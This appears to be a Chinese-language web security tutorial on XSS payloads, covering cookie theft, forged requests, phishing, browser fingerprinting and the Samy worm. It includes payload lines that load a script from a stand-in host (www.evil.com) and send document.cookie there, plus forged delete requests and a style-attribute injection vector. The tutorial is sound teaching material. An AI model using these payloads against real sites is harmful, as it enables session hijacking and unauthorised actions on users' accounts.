初识 XSS Payload
XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为 ”XSS Payload”。
XSS Payload 实际上就是 JavaScript 脚本(还可以是 Flash 或其他富客户端的脚本),所以任何 JavaScript 脚本能实现的功能,XSS Payload 都能做到。
一个最常见的 XSS Payload,就是通过读取浏览器对象,从而发起“Cookie 劫持”攻击。
Cookie 中一般加密保存了当前用户的登录凭证。Cookie 如果丢失,往往意味着用户的登录凭证丢失。也就是,你可以在不知道密码的情况下直接登录用户账户。
下面举个例子,攻击者先加载一个远程脚本:
http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>
真正的 XSS Payload 写在这个脚本中,避免直接在 URL 参数中写入大量的 JavaScript 代码。
evil.js 代码如下, 它将 document.cookie 对象发送到了远端服务器
var img = document.createElement('img');
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
Cookie 的 ”HttpOnly” 标识可以防止“Cookie 劫持”,我们将在稍后具体介绍。
强大的 XSS Payload
“Cookie 劫持 ” 并非所有的时候都会有效。有的网站可能会在 Set-Cookie 时给关键 Cookie 植入 HttpOnly 标识;有的网站可能会把 Cookie 与客户端 IP 绑定。尽管如此,攻击者还是有很多方式能够控制用户的浏览器。
构造 GET 和 POST 请求
假设有篇博客所在域的某页面存在 XSS 漏洞,正常删除文章的链接是:
http://blog.com/article?m=delete&id=123
那么攻击者只需要知道文章的 id, 皆可以通过这个请求删除这篇文章了。
var img = document.createElement('img');
img.src = 'http://blog.com/article?m=delete&id=123';
document.body.appendChild(img);
攻击者只需要让博客作者执行这段 JavaScript 代码(XSS Payload), 就会把这篇文章删除。
对于 POST 请求,可以这样实现
第一个种方法
var f = document.createElement('form');
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement('input');
i1.name = 'name';
i1.value = 'value';
f.appendChild(i1);
f.submit();
如果参数很多,通过构造 DOM 节点的方式,代码将十分冗长。可以通过 innerHTML 直接写 html 字符串的方式构造。
第二种方法可以使用 XMLHttpRequest 直接发送一个 POST 请求。
XSS 钓鱼
前面介绍的,XSS 的攻击过程都是在浏览器中通过 JavaScript 脚本自动进行的,也就是说,缺少“与用户交互”的过程。
比如之前“通过 POST 表单发消息”的例子,如果要求用户输入验证码,那么一般的 XSS Payload 都会失效。此外,在大多数“修改用户密码”的功能中,都会要求用户输入原密码,而攻击者往往是不知道的。
但这也不能限制住 XSS。
对于验证码,XSS Payload 可以通过读取页面内容,将验证码的图片 URL 发送到远端服务器——攻击者可以在远程 XSS 后台接收当前验证码,并将验证码的值返回给当前的 XSS Payload。
修改密码的问题稍微复杂点,攻击者可以将 XSS 与“钓鱼”相结合。利用 JavaScript 实现一个伪造的登录框,当用户输入用户名和密码后,将密码发送至黑客的服务上。
识别用户浏览器
攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如知道用户使用的浏览器、操作系统,就有可能实施一次精准的浏览器内存攻击,最后给用户电脑植入一个木马。
比如使用 XSS 读取浏览器的 UserAgent 对象
alert(navigator.userAgent);
但是这个对象是可以伪造的,所以信息不一定准确。
可以有另外一种技巧,来更准确地识别用户的浏览器版本
由于浏览器之间的实现存在差异,同一个浏览器不同版本之前可能也有细微的差别。通过判断这些差异,就能准确的识别出浏览器版本。
比如:
if (window.ActiveXObject) // MSIE 6.0 or below
识别用户安装的软件
在 IE 中,可以通过判断 ActiveX 控件的 classid 是否存在,来判断用户是否安装了该软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
一些第三方软件也可能会泄漏一些信息。比如 Flash 有一个 system.capabilities 对象,能够查询客户端电脑中的硬件信息。
浏览器的扩展和插件也能被 XSS Payload 扫描出来。比如 Firefox 的插件 (Plugin) 列表存放在一个 DOM 对象中,通过查询 DOM 可以遍历所有的插件。
CSS History Hack
我们再看一个有趣的 XSS Payload, 通过 CSS 来发现一个用户曾经访问过的网站。其原理利用的是 style 的 visited 属性。如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
获取用户的真实 IP 地址
很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在 NAT 后面。网站看到的客户端 IP 地址,是内网的出口 IP 地址,而并非用户电脑真实的本地 IP 地址。如何才能知道用户的本地 IP 地址呢?
JavaScript 本身并没有提供获取本地 IP 地址的能力,XSS 攻击需要借助第三方软件来完成。比如,客户端安装了 Java 环境(JRE), 那么 XSS 就可以通过调用 Java Applet 的接口获取客户端的本地 IP 地址。
除了 Java 之外,一些 ActiveX 控件可能也会提供接口查询本地 IP 地址。这些功能比较特殊,需要具体情况具体分析。
XSS 攻击平台
有安全研究者将许多功能封装起来,称为 XSS 攻击平台。这些平台主要是为了演示 XSS 的危害,以及方便渗透测试使用。
终极武器:XSS Worm
XSS 也能形成蠕虫
Samy Worm
在 2005 年有年仅 19 岁的 Samy Kamkar 对 MySpace.com 发起的,这是 Web 安全史上第一个重量级的 XSS Worm。
首先,Myspace 网站过滤掉了很多危险的标签,所有的事件如”onclick“等也被过滤了。但是它允许用户控制标签的 style 属性,通过 style 还是有办法构造出 XSS 的
<div style="background:url('javascript:alert(1)')">
其次,Myspace 同时还过滤了‘javasript’、‘onreadystatechange’等敏感词,所以 Samy 用了”拆分法“绕过这些限制。
最后,Samy 通过 AJAX 构造的 POST 请求,完成了在用户的 heros 列表里添加自己名字的功能:同时复制蠕虫自身进行传播。
XSS Worm 是 XSS 的一种终极利用方式,它的破坏力和影响力是巨大的。但是发起它是有一定条件的。
一般来说,用户之间发生交互行为的页面,如果存在存储型 XSS,则比较容易发起 XSS Worm 攻击。
比如,发送站内信、用户留言等页面,都是 XSS Worm 的高发区。